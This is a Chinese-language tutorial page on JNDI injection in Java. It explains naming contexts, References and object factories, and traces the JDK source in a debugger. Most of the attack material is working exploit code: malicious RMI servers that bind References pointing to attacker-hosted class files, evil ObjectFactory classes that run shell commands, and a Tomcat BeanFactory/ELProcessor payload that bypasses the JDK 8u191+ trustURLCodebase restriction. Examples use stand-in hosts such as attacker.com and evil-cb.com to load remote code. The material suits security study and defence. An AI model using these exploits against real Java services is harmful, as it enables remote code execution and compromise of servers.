Java教程

JNDI注入

本文主要是介绍JNDI注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

基本概念

JNDI简介

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

如图:

Java Naming

命名服务是一种键值对的绑定,使应用程序可以通过键检索值。

Java Directory

目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

ObjectFactory-对象工厂类(具体代码实现的恶意类)

JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

恶意工程了类有2种方式触发我们的恶意代码:

  1. 通过构造方法进行触发的我们的恶意代码

  2. 通过重写getObjectInstance方法

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
// 工厂类通过重写getObjectInstance方法,触发恶意代码
public class ReferenceObjectFactory implements ObjectFactory {
    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param env  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}
//工程类构造函数触发恶意代码
public class ReferenceObjectFactory implements ObjectFactory {
		public ReferenceObjectFactory() throws RemoteException {
      //恶意代码
    }

同样客户端请求引用Reference类,调用重写后的getObjectInstance方法,触发我们的可以代码

Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

JNDI协议动态转换

JNDI实现的RMI服务中,可以在初始化配置JNDI设置时预先指定其上下文环境(RMI、LDAP、CORBA等),这里列出前面的两种写法:

    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,
            "rmi://localhost:1099");
// 创建JNDI目录服务上下文
    Context ctx = new InitialContext(env);

或

		LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();

但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,例如上面已经设置了当前上下文会访问RMI服务,那么可以直接使用LDAP的URI格式去转换上下文环境访问LDAP服务上的绑定对象而非原本的RMI服务:

// 查找JNDI目录服务绑定的对象
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

其原理可以跟踪代码找到:

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

再跟进去就知道了:

protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx(); 
    }
    if (paramName.size() > 0) {
        String str1 = paramName.get(0);
        String str2 = getURLScheme(str1);  // 尝试解析 URI 中的协议
        if (str2 != null) {
            // 如果存在 Schema 协议,则尝试获取其对应的上下文环境
            Context localContext = NamingManager.getURLContext(str2, this.myProps);
            if (localContext != null) { 
                return localContext;
            }
        }  
    }
    return getDefaultInitCtx();
}

JNDI注入攻击

RMI攻击

RMI+Reference利用技巧

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。

因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

那么这个JNDI利用技巧是啥呢?——就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

漏洞点1—lookup参数注入

以lookup()函数参数外部可控为例,攻击原理如图:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

rmi服务端开启,绑定恶意对象类EvilClassFactory至rmi服务器上rmi://127.0.0.1:1099/exp,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:

public class JNDIService {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilClass", "EvilClassFactory", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
        registry.bind("exp", refObjWrapper);
    }
}

恶意类EvilClassFactory,放在http://127.0.0.1:8000/目录下

public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
    public EvilClassFactory() throws RemoteException {
        super();
        InputStream inputStream;
        try {
            inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
            String linestr;
            while ((linestr = bufferedReader.readLine()) != null){
                System.out.println(linestr);
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

JNDI客户端 lookup可控制,去请求我们恶意的类

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        String uri = "rmi://127.0.0.1:1099/exp";
        if(args.length == 0) {
//            uri = args[0];
            System.out.println("[*]Using lookup() to fetch object with " + uri);
            ctx.lookup(uri);
        } else {
            System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
            ctx.lookup("demo");
        }
    }
}

首先我们启动JNDI服务端

接着我们开启服务8000端口,将恶意类EvilClassFactory放在该目录下

接着启动客户端,由于客户端lookup()可控,我们成功请求到恶意类,并在客户端执行命令ifconfig

漏洞点2—classFactoryLocation参数注入回顾下Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而这里classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

整个利用原理过程如图:

RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:

public class BServer {
    public static void main(String args[]) throws Exception {
        String uri = "http://127.0.0.1:8000";
//        if(args.length == 1) {
//            uri = args[0];
//        } else {
//            uri = "http://127.0.0.1/demo.class";
//        }
        System.out.println("[*]classFactoryLocation: " + uri);
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'demo' to 'rmi://127.0.0.1:1099/demo'");
        registry.bind("demo", refObjWrapper);
    }
}

EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行ifconfig命令并输出出来,该类放在http://127.0.0.1:8000web目录下

public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
    public EvilClassFactory() throws RemoteException {
        super();
        InputStream inputStream;
        try {
            inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
            String linestr;
            while ((linestr = bufferedReader.readLine()) != null){
                System.out.println(linestr);
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:

public class BClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
        ctx.lookup("demo");
    }
}

攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:

运行RMI服务端,将恶意类EvilClassFactory对象绑定名称为demo

搭建web服务器,将我们到恶意类编译后放在这个web服务器下面

启动客户端,成功JNDI注入执行命令

绕过高版本JDK(8u191+)限制

在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

KINGX提到了如下两种绕过方式:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击

利用本地Class作为Reference Factory

恶意服务端

package Jndi.test4;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 6666");
        Registry registry = LocateRegistry.createRegistry( 6666);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash', '-c', 'open /System/Applications/Calculator.app']).start()\")"));
        System.out.println("[*]Evil command: open /System/Applications/Calculator.app");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

客户端

package Jndi.test4;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:6666/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

高版本JDK 默认trustURLCodebase值为false,如果使用上述步骤,这里会经过if判断,会抛出异常,无法触发我们的JNDI注入漏洞

想要绕过trustURLCodebase判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation(),当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,也就是我们的factoryLocation不设置远程工程时,那么这条语句就不成立!

public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

上述是通过反射获取codebase工程类,显然我们为了绕过trustURLCodebase判断,我们无法设置codebase值,但是该类中还存在其他方法

我们没有设置codebase值,我们会调用本地设置的factory,所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase

这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个getObjectInstance()方法。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。

而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

调试过程如下:

Client如下,加载本地类org.apache.naming.factory.BeanFactory

利用getObjectFactoryFromREference方法,获取本地类BeanFactory的一个实例对象

返回了一个BeanFactory对象

接着就是调用该BeanFactory对象的getObjectInstance方法,直接调用ObjectFactory接口实现类实例的getObjectInstance()函数,这里是BeanFactory类实例的getObjectInstance()函数:

factory.getObjectInstance(ref, name, nameCtx,environment);

跟进看到org.apache.naming.factory.BeanFactory类的getObjectInstance()函数中,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

接着就是实例化javax.el.ELProcessor,

自己在server端自定义一个forceString,x=eval的键值对存在ResourceRef,使用re f.get取出

// EvilRMIServer
ref.add(new StringRefAddr("forceString", "x=eval"));

接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval内容:

通过ra.getContent(),取出value值: x=eval

继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!之后,就是获取beanClass即javax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中:

接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素:

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行new ELProcessor().eval("".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/C', 'calc.exe']).start()"))

小结一下几个关键点:

  • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是org.apache.naming.factory.BeanFactory
  • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;
  • ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的;

LDAP攻击

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

后续再分析LDAP

原代码分析

JNDI目录对象的创建过程-InitialDirContext

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务,我们这里以DNS服务来举例,如下代码所示

public class Test {
    public static void main(String[] args) throws NamingException {
        // 创建环境变量对象
        Hashtable<String, String> env = new Hashtable<String, String>();

        // 设置JNDI初始化工厂类名
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");

        // 设置JNDI提供服务的URL地址
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        // 创建JNDI目录服务对象
        DirContext context = new InitialDirContext(env);
    }
}

这里其实直接看InitialDirContext这个类是如何生成的即可,因为前面都是存在变动的,我们这里拿到了DNS的目录服务,但是JNDI还可以RMI LDAP等等的目录服务,所以我们要看InitialDirContext是如何根据存储env的数据来进行初始化目录服务对象的,在创建JNDI目录服务对象处打断点

这里一直跟进去首先会发现一个init的函数

在init()方法中,通过ResourceManage.getInitialEnvironment(environment)将我们传入的参数env值赋值给myProps变量

调用myProps.get()方法取我们存入的INITIAL_CONTEXT_FACTORY属性来进行判断,如果该属性存在则getDefaultInitCtx进行默认的初始化context

跟进getDefaultInitCtx方法,又会接着将之前存入env的相关信息通过NamingManager.getInitialContext(myProps);传入

这里继续看NamingManager.getInitialContext,这个方法内完成对对应的工厂类的实例化

将设置的初始化工程类com.sun.jndi.dns.DnsContextFactory类赋值给className变量

通过反射对工程类进行实例化

接着用对应的工厂类通过env相关信息来实例化对应的Context类

到这里完成了getInitialContext方法,最后返回上下文Context对象

这里的context值为上一步返回的defaultInitCtx上下文的值

JNDI注入之RMI分析

ReferenceObjectFactory

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ReferenceObjectFactory implements ObjectFactory {
    /**
     * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
     * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
     * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
     * @param env  创建对象时使用的环境(可能为 null)。
     * @return 对象工厂创建出的对象
     * @throws Exception 对象创建异常
     */
    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
        // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
        return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

RMIServer

package Jndi.test3;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIReferenceServerTest  {
    public static void main(String[] args) {
        try {
            // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
            String uri = "http://127.0.0.1:8000";
            // 监听RMI服务端口
            LocateRegistry.createRegistry(1099);

            // 创建一个远程的JNDI对象工厂类的引用对象
            Reference reference = new Reference("EvilClass", "ReferenceObjectFactory", uri);

            // 转换为RMI引用对象,
            // 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
            // 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            // 绑定一个恶意的Remote对象到RMI服务
            Naming.bind("rmi://127.0.0.1:1099/rmiserver", referenceWrapper);

            System.out.println("RMI服务启动成功,服务地址:" + "rmi://127.0.0.1:1099/rmiserver");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

RMIClient,这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内,如果是ldap+jndi的话我181则可以不用开启trustURLCodebase

package Jndi.test3;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIReferenceClientTest{
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            InitialContext context = new InitialContext();
            // 获取RMI绑定的恶意ReferenceWrapper对象
            Object obj = context.lookup("rmi://127.0.0.1:1099/rmiserver");
            System.out.println(obj);
        } catch ( NamingException e) {
            e.printStackTrace();
        }
    }
}

打断点

getURLOrDefaultInitCtx方法

getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context

接着继续来到getURLOrDefaultInitCtx.lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文

接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称

接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是传输来请求获取绑定在服务端注册中心上的对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub

获得了stub对象后,又开始进行decodeObject方法

这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法

就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance

先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回

这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance

这篇关于JNDI注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!